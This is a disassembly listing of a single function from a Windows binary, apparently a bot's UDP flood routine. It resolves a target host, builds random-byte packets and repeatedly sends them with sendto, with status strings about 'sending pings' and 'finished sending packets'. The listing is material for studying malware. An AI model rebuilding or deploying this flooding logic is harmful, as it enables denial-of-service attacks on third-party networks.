Assembly Code of File sub_406E62
sub_406E62 proc near ; DATA XREF: sub_4078FA + 5201o
var_10316 = byte ptr - 10316h
var_10314 = byte ptr - 10314h
var_338 = byte ptr - 338h
var_138 = dword ptr - 138h
var_134 = byte ptr - 134h
var_B4 = byte ptr - 0B4h
var_34 = dword ptr - 34h
var_30 = dword ptr - 30h
var_2C = dword ptr - 2Ch
var_28 = dword ptr - 28h
var_24 = dword ptr - 24h
var_20 = dword ptr - 20h
var_1C = dword ptr - 1Ch
var_14 = word ptr - 14h
var_12 = word ptr - 12h
var_10 = dword ptr - 10h
var_4 = dword ptr - 4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10314h
call sub_412DD0
mov eax, [ ebp + arg_0 ]
push esi
push edi
push 49h
pop ecx
mov esi, eax
lea edi, [ ebp + var_138 ]
rep movsd
xor esi, esi
inc esi
mov [ eax + 120h ], esi
call ds:dword_41F004 ; GetTickCount
push eax
call sub_412D64
pop ecx
push 11h
push 2
push 2
call dword_4334A0 ; socket
mov [ ebp + var_4 ], eax
xor eax, eax
lea edi, [ ebp + var_14 ]
stosd
stosd
stosd
stosd
lea eax, [ ebp + var_B4 ]
push eax
mov [ ebp + var_14 ], 2
call dword_433514 ; inet_addr
xor edi, edi
xor ecx, ecx
cmp eax, 0FFFFFFFFh
mov [ ebp + arg_0 ], eax
jnz short loc_406F3D
lea eax, [ ebp + var_B4 ]
push eax
call dword_433500 ; gethostbyname
mov ecx, eax
cmp ecx, edi
jnz short loc_406F3D
lea eax, [ ebp + var_B4 ]
push eax
lea eax, [ ebp + var_338 ]
push offset aUdpErrorSendin ; \"[ UDP ]: Error sending pings to %s.\"
push eax
call sub_412BB5
add esp, 0Ch
cmp [ ebp + var_1C ], edi
jnz short loc_406F21
push edi
push [ ebp + var_20 ]
lea eax, [ ebp + var_338 ]
push eax
lea eax, [ ebp + var_134 ]
push eax
push [ ebp + var_138 ]
call sub_4045DD
add esp, 14h
loc_406F21: ; CODE XREF: sub_406E62 + 9Dj
lea eax, [ ebp + var_338 ]
push eax
call sub_401C33
push [ ebp + var_24 ]
call sub_4111AE
pop ecx
pop ecx
push esi
jmp loc_407076
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_406F3D: ; CODE XREF: sub_406E62 + 6Aj
; sub_406E62 + 7Dj
cmp [ ebp + var_28 ], edi
jge short loc_406F45
mov [ ebp + var_28 ], edi
loc_406F45: ; CODE XREF: sub_406E62 + DEj
mov eax, 0FFFFh
cmp [ ebp + var_28 ], eax
jle short loc_406F52
mov [ ebp + var_28 ], eax
loc_406F52: ; CODE XREF: sub_406E62 + EBj
cmp ecx, edi
jz short loc_406F5D
mov eax, [ ecx + 0Ch ]
mov eax, [ eax ]
jmp short loc_406F60
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_406F5D: ; CODE XREF: sub_406E62 + F2j
lea eax, [ ebp + arg_0 ]
loc_406F60: ; CODE XREF: sub_406E62 + F9j
cmp [ ebp + var_28 ], edi
mov eax, [ eax ]
mov [ ebp + var_10 ], eax
jnz short loc_406F7B
call sub_412D71
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_406F7E
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_406F7B: ; CODE XREF: sub_406E62 + 106j
push [ ebp + var_28 ]
loc_406F7E: ; CODE XREF: sub_406E62 + 117j
call dword_4335EC ; ntohs
mov [ ebp + var_12 ], ax
mov eax, [ ebp + var_34 ]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ ebp + var_2C ], edi
mov [ ebp + var_34 ], eax
jnz short loc_406F9C
mov [ ebp + var_2C ], esi
loc_406F9C: ; CODE XREF: sub_406E62 + 135j
xor esi, esi
cmp [ ebp + var_30 ], edi
jle short loc_407017
loc_406FA3: ; CODE XREF: sub_406E62 + 159j
call sub_412D71
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ ebp + var_30 ]
mov [ ebp + esi - 10315h ], dl
jl short loc_406FA3
jmp short loc_407017
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_406FBF: ; CODE XREF: sub_406E62 + 1B8j
dec [ ebp + var_34 ]
push 0Bh
pop esi
loc_406FC5: ; CODE XREF: sub_406E62 + 195j
push 10h
lea eax, [ ebp + var_14 ]
push eax
push edi
call sub_412D71
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ ebp + var_30 ]
sub eax, edx
push eax
lea eax, [ ebp + var_10314 ]
push eax
push [ ebp + var_4 ]
call dword_433470 ; sendto
push [ ebp + var_2C ]
call ds:dword_41F000 ; Sleep
dec esi
jnz short loc_406FC5
cmp [ ebp + var_28 ], edi
jnz short loc_407017
call sub_412D71
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_4335EC ; ntohs
mov [ ebp + var_12 ], ax
loc_407017: ; CODE XREF: sub_406E62 + 13Fj
; sub_406E62 + 15Bj ...
cmp [ ebp + var_34 ], edi
jg short loc_406FBF
dec [ ebp + var_34 ]
lea eax, [ ebp + var_B4 ]
push eax
lea eax, [ ebp + var_338 ]
push offset aUdpFinishedSen ; \"[ UDP ]: Finished sending packets to %s.\"
push eax
call sub_412BB5
add esp, 0Ch
cmp [ ebp + var_1C ], edi
jnz short loc_40705F
push edi
push [ ebp + var_20 ]
lea eax, [ ebp + var_338 ]
push eax
lea eax, [ ebp + var_134 ]
push eax
push [ ebp + var_138 ]
call sub_4045DD
add esp, 14h
loc_40705F: ; CODE XREF: sub_406E62 + 1DBj
lea eax, [ ebp + var_338 ]
push eax
call sub_401C33
push [ ebp + var_24 ]
call sub_4111AE
pop ecx
pop ecx
push edi
loc_407076: ; CODE XREF: sub_406E62 + D6j
call ds:dword_41F014 ; ExitThread
loc_40707C: ; DATA XREF: .data:0042BBE4o
; .data:0042BBF8o ...
int 3 ; Trap to Debugger
sub_406E62 endp ; sp - analysis failed